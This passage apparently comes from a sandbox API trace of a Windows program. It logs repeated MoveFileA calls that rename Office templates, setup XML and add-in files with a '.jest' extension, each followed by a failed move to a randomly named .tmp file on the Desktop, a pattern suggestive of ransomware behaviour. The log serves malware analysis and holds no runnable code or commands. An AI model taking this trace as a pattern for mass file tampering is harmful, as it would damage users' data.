Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.jest")) returned 1 [0162.434] GetLastError () returned 0x0 [0162.434] VarBstrFromR4 (in: fltIn=0x4794560d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.1") returned 0x0 [0162.435] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n3XEdCwU1Zztwqu4n5pFFb3IihYBD45mOitFsO-PLlgb4Uu8o2WJWURWb7MDBmWDbHz9dedrKW 21bdvCC6bJ3BSQaYomkuYzYLo.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n3xedcwu1zztwqu4n5pffb3iihybd45moitfso-pllgb4uu8o2wjwurwb7mdbmwdbhz9dedrkw 21bdvcc6bj3bsqayomkuyzylo.tmp")) returned 0 [0162.435] GetLastError () returned 0x2 [0162.436] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Training.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\training.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Training.potx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\training.potx.jest")) returned 1 [0162.437] GetLastError () returned 0x0 [0162.437] VarBstrFromR4 (in: fltIn=0x4794560f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.12") returned 0x0 [0162.439] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Training.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\training.potx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aHU0whVzhxqZQhZlU7QjlKuX4dLKdRqY6UAAk6xLk7jq hFE P nJdXNfCCBig7xK8yojoG8u7zZoYJEwASTu9cuhoaGl2UCUgyT7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ahu0whvzhxqzqhzlu7qjlkux4dlkdrqy6uaak6xlk7jq hfe p njdxnfccbig7xk8yojog8u7zzoyjewastu9cuhoagl2ucugyt7.tmp")) returned 0 [0162.439] GetLastError () returned 0x2 [0162.439] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\WidescreenPresentation.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\widescreenpresentation.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\WidescreenPresentation.potx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\widescreenpresentation.potx.jest")) returned 1 [0162.440] GetLastError () returned 0x0 [0162.441] VarBstrFromR4 (in: fltIn=0x4794560f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.12") returned 0x0 [0162.441] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\WidescreenPresentation.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\widescreenpresentation.potx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bbydc -iISxjFm0NfUvc6KCEZxXsU RZFCBeTXLruoqeyK5w4GvOf00C-4FKV9F555CPQIRvk2j EV5heE1 1HpxpS8dwKDCqUGQ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bbydc -iisxjfm0nfuvc6kcezxxsu rzfcbetxlruoqeyk5w4gvof00c-4fkv9f555cpqirvk2j ev5hee1 1hpxps8dwkdcqugq.tmp")) returned 0 [0162.442] GetLastError () returned 0x2 [0162.443] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.jest")) returned 1 [0162.449] GetLastError () returned 0x0 [0162.449] VarBstrFromR4 (in: fltIn=0x4794560f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.12") returned 0x0 [0162.451] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m5XqNELuQVlRqhTC2t876mKk8bYvDKRhZ5WkRMwkkafvo-gi g5oV59KiSZCH066nkJyTC_9Q68wCuQ15xfeuDYq9Hl8rk08LdZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m5xqneluqvlrqhtc2t876mkk8byvdkrhz5wkrmwkkafvo-gi g5ov59kiszch066nkjytc_9q68wcuq15xfeudyq9hl8rk08ldz.tmp")) returned 0 [0162.451] GetLastError () returned 0x2 [0162.451] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.jest")) returned 1 [0162.452] GetLastError () returned 0x0 [0162.453] VarBstrFromR4 (in: fltIn=0x47945611, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.13") returned 0x0 [0162.454] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zXYLtPlT OhWkUnA-DghFubqpypGIiaWF5xFhXC1tTXX1fSmbMtUa Sovg0-FFm74ArvK04bK0gXMrUKa5xdrSXfZpbd1u9scb8yC.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zxyltplt ohwkuna-dghfubqpypgiiawf5xfhxc1ttxx1fsmbmtua sovg0-ffm74arvk04bk0gxmruka5xdrsxfzpbd1u9scb8yc.tmp")) returned 0 [0162.454] GetLastError () returned 0x2 [0162.455] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.jest")) returned 1 [0162.458] GetLastError () returned 0x0 [0162.459] VarBstrFromR4 (in: fltIn=0x47945611, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.13") returned 0x0 [0162.460] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xvmwDzFp2LjBmJQ8Pe hDEKn13bPIHtSf5YIby4gpNUUO ZG-NLJH9Yvp9dqPbzqjBjlO9WMsVcODMpygxh49oI6RYlzsZZGp EQ6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xvmwdzfp2ljbmjq8pe hdekn13bpihtsf5yiby4gpnuuo zg-nljh9yvp9dqpbzqjbjlo9wmsvcodmpygxh49oi6rylzszzgp eq6.tmp")) returned 0 [0162.460] GetLastError () returned 0x2 [0162.461] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.jest")) returned 1 [0162.462] GetLastError () returned 0x0 [0162.462] VarBstrFromR4 (in: fltIn=0x47945611, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.13") returned 0x0 [0162.463] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gtxW-t9kzMxmq jw1jhETv_Lsj3uQCL4J8iwUaXZ_CY3nWfJj7WBmEYTtumAXhmk30U-sWEtqrhfd_ciEkJB0FoG91U2ZqbOC .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gtxw-t9kzmxmq jw1jhetv_lsj3uqcl4j8iwuaxz_cy3nwfjj7wbmeyttumaxhmk30u-swetqrhfd_ciekjb0fog91u2zqboc .tmp")) returned 0 [0162.463] GetLastError () returned 0x2 [0162.464] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.jest")) returned 1 [0162.465] GetLastError () returned 0x0 [0162.465] VarBstrFromR4 (in: fltIn=0x47945611, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.13") returned 0x0 [0162.466] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tyuDL_s6AaVg_bCF6_ePo1poPnnU_4S uJe-Ene5D8vgfBXIGY5eglBEdJ7yp6KbVFv-fS_b6ibl8YKe9TvFHT6j09dfZRa9HFHI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tyudl_s6aavg_bcf6_epo1popnnu_4s uje-ene5d8vgfbxigy5eglbedj7yp6kbvfv-fs_b6ibl8yke9tvfht6j09dfzra9hfhi.tmp")) returned 0 [0162.466] GetLastError () returned 0x2 [0162.468] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\analys32.xll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL.jest" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\analys32.xll.jest")) returned 1 [0162.490] GetLastError () returned 0x0 [0162.491] VarBstrFromR4 (in: fltIn=0x47945615, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.16") returned 0x0 [0162.492] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\analys32.xll"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bKp8BdJsRi5YrBnPybUPIGucr21P MzP6QWxSDZfqeDtfWTLubuel2QvV6Gsu3ydZKejj2L2besIObKNMeJvtbj8 2HcAXkuNM53w.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bkp8bdjsri5yrbnpybupigucr21p mzp6qwxsdzfqedtfwtlubuel2qvv6gsu3ydzkejj2l2besiobknmejvtbj8 2hcaxkunm53w.tmp")) returned 0 [0162.492] GetLastError () returned 0x2 [0162.493] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\atpvbaen.xlam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM.jest" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\atpvbaen.xlam.jest")) returned 1 [0162.494] GetLastError () returned 0x0 [0162.495] VarBstrFromR4 (in: fltIn=0x47945615, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.16") returned 0x0 [0162.496] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\atpvbaen.xlam"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sY0zDilGgyMwboJ3wLB0q3zcuNk9mSw0MxBn38HqlG7KzcrERJ0xEA_oiYE2lwEyt3EK5LRij9PgikjHb9E7cf7xEE9Fyboo0tPBZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sy0zdilggymwboj3wlb0q3zcunk9msw0mxbn38hqlg7kzcrerj0xea_oiye2lweyt3ek5lrij9pgikjhb9e7cf7xee9fyboo0tpbz.tmp")) returned 0 [0162.496] GetLastError () returned 0x2 [0162.496] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BillingStatement.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\billingstatement.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BillingStatement.xltx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\billingstatement.xltx.jest")) returned 1 [0162.498] GetLastError () returned 0x0 [0162.498] VarBstrFromR4 (in: fltIn=0x47945615, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.16") returned 0x0 [0162.499] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BillingStatement.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\billingstatement.xltx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\stfIRvNOcL_RSzPdhcByxVKgDFeCiMHLaTu6rqhqZl-s ZOF 5kKOzwVHy2T9JEqSBoXoH22miiE9w12lzuPcm6W6SbwAgBbD07V.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\stfirvnocl_rszpdhcbyxvkgdfecimhlatu6rqhqzl-s zof 5kkozwvhy2t9jeqsboxoh22miie9w12lzupcm6w6sbwagbbd07v.tmp")) returned 0 [0162.499] GetLastError () returned 0x2 [0162.500] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BloodPressureTracker.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\bloodpressuretracker.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BloodPressureTracker.xltx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\bloodpressuretracker.xltx.jest")) returned 1 [0162.501] GetLastError () returned 0x0 [0162.501] VarBstrFromR4 (in: fltIn=0x47945617, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.18") returned 0x0 [0162.502] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BloodPressureTracker.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\bloodpressuretracker.xltx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\B7s0tHZZ5f2gk Xv5PTes7YLigStCrPrlxWK1vR3l0hkBYGrvjIhDWRM8LMZnNN_8Cob0WMMlBPaA6wwSYm1nIFhGutiFdYgw5-l.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\b7s0thzz5f2gk xv5ptes7yligstcrprlxwk1vr3l0hkbygrvjihdwrm8lmznnn_8cob0wmmlbpaa6wwsym1nifhgutifdygw5-l.tmp")) returned 0 [0162.505] GetLastError () returned 0x2 [0162.507] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExpenseReport.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\expensereport.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExpenseReport.xltx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\expensereport.xltx.jest")) returned 1 [0162.508] GetLastError () returned 0x0 [0162.509] VarBstrFromR4 (in: fltIn=0x47945617, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.18") returned 0x0 [0162.510] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExpenseReport.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\expensereport.xltx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y0WTKvTSqCsteQX0TIi7_WdpcdW XQI4pgEX8d4H45IsGwFGv8JmUy U6_i0fDgMYKCZyfrb4XFOjc9xklm_aiBs9IHfQlx2q3EO3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y0wtkvtsqcsteqx0tii7_wdpcdw xqi4pgex8d4h45isgwfgv8jmuy u6_i0fdgmykczyfrb4xfojc9xklm_aibs9ihfqlx2q3eo3.tmp")) returned 0 [0162.510] GetLastError () returned 0x2 [0162.510] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\funcres.xlam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM.jest" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\funcres.xlam.jest")) returned 1 [0162.511] GetLastError () returned 0x0 [0162.512] VarBstrFromR4 (in: fltIn=0x47945617, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.18") returned 0x0 [0162.513] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\funcres.xlam"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\e30U3557F9iJ3i-mD9t5cQTZs2 fO8n5SOGyrfy JbV9BlLT25KdzCwutbR0SHcPIP9PJaTcc4VQT3f DdIjRM8U6mI07lhYnMe.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e30u3557f9ij3i-md9t5cqtzs2 fo8n5sogyrfy jbv9bllt25kdzcwutbr0shcpip9pjatcc4vqt3f ddijrm8u6mi07lhynme.tmp")) returned 0 [0162.513] GetLastError () returned 0x2 [0162.513] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.jest")) returned 1 [0162.514] GetLastError () returned 0x0 [0162.515] VarBstrFromR4 (in: fltIn=0x47945619, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.2") returned 0x0 [0162.515] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wloHuzXMvQFwEvSkGhS-dAe-coOLqm94d564Q-0pUoP5U9XWg8lDEQEGptXEhiOu9xrBhhzn4WcUi9B3wCHPWxb6kOP3tvIk16P0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wlohuzxmvqfwevskghs-dae-coolqm94d564q-0puop5u9xwg8ldeqegptxehiou9xrbhhzn4wcui9b3wchpwxb6kop3tvik16p0.tmp")) returned 0 [0162.516] GetLastError () returned 0x2 [0162.516] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\LoanAmortization.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\loanamortization.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\LoanAmortization.xltx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\loanamortization.xltx.jest")) returned 1 [0162.517] GetLastError () returned 0x0 [0162.517] VarBstrFromR4 (in: fltIn=0x47945619, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.2") returned 0x0 [0162.518] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\LoanAmortization.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\loanamortization.xltx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Y0F5gzcijhUaqPn8GsYJ49Mg2KrijifSrnRSwRZy_gqxfs0Cz_RRjH6Kvz7N9kZDE0C9VmUdmDOLVShp5RUe YegH7TKPyBkCxR8Y.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y0f5gzcijhuaqpn8gsyj49mg2krijifsrnrswrzy_gqxfs0cz_rrjh6kvz7n9kzde0c9vmudmdolvshp5rue yegh7tkpybkcxr8y.tmp")) returned 0 [0162.518] GetLastError () returned 0x2 [0162.519] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.jest")) returned 1 [0162.520] GetLastError () returned 0x0 [0162.520] VarBstrFromR4 (in: fltIn=0x47945619, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.2") returned 0x0 [0162.521] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LJpHlLLD Ij EiPyXx8Kv-UdMQp_PXWHPo9-XjRgzklt3MmTpmpIes1xTtpgO9jidBxDQ3coh6T4u2uA9EbNcDXCoFzK7MkdLaV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ljphllld ij eipyxx8kv-udmqp_pxwhpo9-xjrgzklt3mmtpmpies1xttpgo9jidbxdq3coh6t4u2ua9ebncdxcofzk7mkdlav.tmp")) returned 0 [0162.522] GetLastError () returned 0x2 [0162.522] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PersonalMonthlyBudget.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\personalmonthlybudget.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PersonalMonthlyBudget.xltx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\personalmonthlybudget.xltx.jest")) returned 1 [0162.524] GetLastError () returned 0x0 [0162.525] VarBstrFromR4 (in: fltIn=0x47945619, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.2") returned 0x0 [0162.526] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PersonalMonthlyBudget.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\personalmonthlybudget.xltx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Z5rH83 Ew5AeyWVoZxp5wFlrtQpcQcMCRsCt7prvuu j4-gfjKu _ 3giwqOTGbVoslvsgmEsyKrLL CoM_9pZC3tsbbg1NOX8.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\z5rh83 ew5aeywvozxp5wflrtqpcqcmcrsct7prvuu j4-gfjku _ 3giwqotgbvoslvsgmesykrll com_9pzc3tsbbg1nox8.tmp")) returned 0 [0162.526] GetLastError () returned 0x2 [0162.526] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\PROCDB.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\procdb.xlam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\PROCDB.XLAM.jest" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\procdb.xlam.jest")) returned 1 [0162.528] GetLastError () returned 0x0 [0162.528] VarBstrFromR4 (in: fltIn=0x47945619, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.2") returned 0x0 [0162.529] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\PROCDB.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\procdb.xlam"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tqmceBqtryNnuzoajpgmkZiPdAijswR4PHZH1Mepy93rhYoyW6E3U2d o_l3opVEPYG7zHEepvSF5fFtI2L_jFSUyFQdKmFI1T37.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tqmcebqtrynnuzoajpgmkzipdaijswr4phzh1mepy93rhyoyw6e3u2d o_l3opvepyg7zheepvsf5ffti2l_jfsuyfqdkmfi1t37.tmp")) returned 0 [0162.529] GetLastError () returned 0x2 [0162.530] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.doc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.doc.jest")) returned 1 [0162.531] GetLastError () returned 0x0 [0162.531] VarBstrFromR4 (in: fltIn=0x4794561b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.21") returned 0x0 [0162.532] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bnXmYQg8osx6QTmpXknwRQo1tNBX5ahxsXXXvkmVlBZXjNYKe7wCb3sk3WNdpgonIP1EQIFklfE3T_ mk3koVh9Gq00omPHhj8EA.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bnxmyqg8osx6qtmpxknwrqo1tnbx5ahxsxxxvkmvlbzxjnyke7wcb3sk3wndpgonip1eqifklfe3t_ mk3kovh9gq00omphhj8ea.tmp")) returned 0 [0162.532] GetLastError () returned 0x2 [0162.532] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft 